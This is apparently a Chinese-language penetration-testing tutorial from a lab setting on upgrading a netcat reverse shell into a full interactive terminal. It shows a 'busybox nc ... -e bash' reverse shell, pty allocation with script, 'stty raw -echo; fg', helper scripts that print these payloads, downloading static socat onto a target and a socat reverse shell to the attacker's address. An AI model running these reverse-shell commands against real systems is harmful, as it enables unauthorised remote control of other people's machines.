反弹shell优化
# 反弹shell的常见痛点
- 缺少终端功能
- 窗口大小错误
- 无法使用交互式命令(如vim、top等)
- 无法使用tab补全
- 快捷键失效(如Ctrl+C、Ctrl+Z等)
# 反弹 shell 演示
攻击机正常监听反弹shell:
┌──(demo㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
2
3
靶机执行反弹shell:
busybox nc 192.168.x.x 4444 -e bash
此时,攻击机收到反弹shell:
┌──(demo㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
id
connect to [192.168.6.10] from (UNKNOWN) [192.168.6.162] 44418
uid=33(www-data) gid=33(www-data) groups=33(www-data)
2
3
4
5
6
在此环境下,无法正常使用 tab 补全命令、上下键切换历史命令、Ctrl+C 终止命令等。
例如此处:
- 上键被识别为
^[[A,而不是切换历史命令 - Ctrl+C 被识别为
^C且直接结束了反弹shell - clear 命令无法正常清屏
- sudo -l 交互式命令无法正常使用
┌──(demo㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
id
connect to [192.168.6.10] from (UNKNOWN) [192.168.6.162] 43692
uid=33(www-data) gid=33(www-data) groups=33(www-data)
clear
sudo -l
^[[A^[[A^[[A^C
2
3
4
5
6
7
8
9
# 分配一个交互式伪终端(pty)
使用 script 命令创建一个伪终端(pty)来运行反弹shell:
/usr/bin/script -qc /bin/bash /dev/null
- script命令会创建一个新的 pty,使得 shell 获得完整的终端环境。
- -q:安静模式,不输出 Script started...等信息。
- -c /bin/bash:执行 bash。
- /dev/null:输出重定向到空设备,避免生成日志文件。
这可以解决无法交互的痛点:
┌──(demo㉿kali)-[~]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
id
connect to [192.168.6.10] from (UNKNOWN) [192.168.6.162] 45414
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/usr/bin/script -qc /bin/bash /dev/null
www-data@Disk:/var/www/wordpress$ ^[[A^[[C^[[A^[[A
www-data@Disk:/var/www/wordpress$ which python3
which python3
/usr/bin/python3
www-data@Disk:/var/www/wordpress$ python3
python3
Python 3.9.2 (default, Feb 28 2021, 17:03:44)
[GCC 10.2.1 20210110] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> ^C
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
现在,可以运行交互式命令,但是仍然不能正常使用上下键切换历史命令,以及 Ctrl+C 终止命令。
# 输入处理
stty raw -echo; fg
- stty raw -echo:将终端设置为原始模式,并关闭回显。这允许正确处理输入字符,包括特殊键。
- fg:将当前作业放到前台,使得输入能够正确传递给反弹shell。
在反弹shell里按 ctrl+Z 将反弹shell放到后台,然后在攻击机上执行上述命令:
┌──(demo㉿kali)-[~]
└─$ stty raw -echo; fg
nc -lvnp 4444
www-data@Disk:/var/www/wordpress$ id
www-data@Disk:/var/www/wordpress$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@Disk:/var/www/wordpress$ sudo -l
We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:
#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.
[sudo] password for www-data:
sudo: a password is required
www-data@Disk:/var/www/wordpress$ sudo -l^C
www-data@Disk:/var/www/wordpress$ ^C
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
现在,反弹shell已经获得了完整的终端功能,可以正常使用上下键切换历史命令、Ctrl+C 终止命令等。
# 优化体验
上面这些操作让终端可以正常使用,但体验仍然不够好。可以进一步优化,如终端大小调整、环境变量设置等让vim等交互式命令能够正常使用。
reset xterm
export TERM=xterm
echo $SHELL
export SHELL=/bin/bash
stty rows 42 cols 189
2
3
4
5
- reset xterm:重置终端类型为 xterm,确保兼容性。
- export TERM=xterm:设置 TERM 环境变量为 xterm,确保终端功能正常。
- export SHELL=/bin/bash:设置 SHELL 环境变量为 bash,确保使用正确的 shell。
- stty rows 42 cols 189:调整终端窗口大小,使得交互式命令(如 vim)能够正确显示。
最重要的是,终端大小使用你的真实大小,不要盲目使用其他人的终端大小。
# 最终解决方案
我选择把上面的优化命令写入到PATH下的两个可执行文件里,确保我可以在任意目录拿到我所需要的payload:
警告
注意检查你的PATH环境变量,确保~/.local/bin在PATH中。
xxx:拿到分配交互式伪终端payload:
cat << 'EOF' > ~/.local/bin/xxx
#!/bin/bash
echo '
/usr/bin/script -qc /bin/bash /dev/null
'
EOF
chmod +x ~/.local/bin/xxx
2
3
4
5
6
7
8
9
yyy:拿到输入处理payload,以及后续优化payload:
cat << 'EOF' > ~/.local/bin/yyy
#!/bin/bash
echo '
stty raw -echo; fg
reset xterm
export TERM=xterm
echo $SHELL
export SHELL=/bin/bash
'
rows=$(stty size | awk '{print $1}')
cols=$(stty size | awk '{print $2}')
echo "stty rows $rows cols $cols"
EOF
chmod +x ~/.local/bin/yyy
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
yyy 里的payload会自动获取当前终端的行数和列数,确保终端大小适配你的真实终端。
使用yyy前,先在nc的反弹shell里分配一个交互式伪终端,再按 ctrl+Z 将反弹shell放到后台,然后在攻击机上执行yyy 的第一句进行输入处理,再执行剩余优化部分
# 其他
使用 socat 反弹shell
推荐的一个静态二进制项目,
https://github.com/andrew-d/static-binaries/tree/master/binaries/linux/x86_64
如果靶机没有,可以下载静态编译的socat
wget "https://hk.gh-proxy.org/https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat"
chmod +x socat
2
socat 反弹shell也比较优雅,不过靶机不一定有,有的话很舒服了
攻击机:
socat file:`tty`,raw,echo=0 tcp-listen:4444
这台靶机自带socat
靶机:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.6.10:4444
socat 反弹shell 优势:自动分配伪终端,获得完整的终端功能